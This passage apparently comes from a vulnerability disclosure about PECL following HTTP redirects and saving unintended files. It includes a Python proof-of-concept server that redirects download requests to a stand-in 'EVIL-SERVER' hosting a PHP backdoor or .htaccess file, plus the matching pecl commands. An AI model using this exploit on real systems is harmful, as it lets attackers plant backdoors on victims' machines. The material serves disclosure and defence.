Therefore, attackers can overwrite files or download a backdoor if the PECL request is made from from web accesible directory etc.. Moreover, PECL doesn't delete these invalid files upon download, giving the attacker time to exploit it if attackers can force the HTTP connection to stay open, and before a "invalid file message" is noticed. POC Video: https://vimeo.com/201341280 Proof of concept: This POC involves 3 machines: First machine is victim making a PECL download command request Second is the vuln server receiving the file download request Third is the malicious server hosting the PHP backdoor, .htaccess file etc. =========================================================================== 1) Victim machine attempts to download a legit ".tgz" archive. pecl download http://VULN-SERVER:8080/Test.tgz 2) VULN-SERVER where the victim is requesting "Test.tgz", and attacker controls HTTP response. 3) EVIL-SERVER where PECL follows and downloads 'unintended' Evil.php backdoor. python -m SimpleHTTPServer 8888 On VULN-SERVER run "PECL-File-Exploit.py" python PECL-File-Exploit.py import socket HOST='localhost' PORT=8080 TARGET='http://EVIL-SERVER:8888/' FILE='.htaccess' s = socket.socket() s.bind((HOST, PORT)) s.listen(10) print 'Waiting for PECL connections...' while True: conn, addr = s.accept() junk = conn.recv(512) conn.send('HTTP/1.1 302 Found ') conn.send('Location: '+TARGET+FILE+' ') conn.close() s.close() Then, make request for Test.tgz...
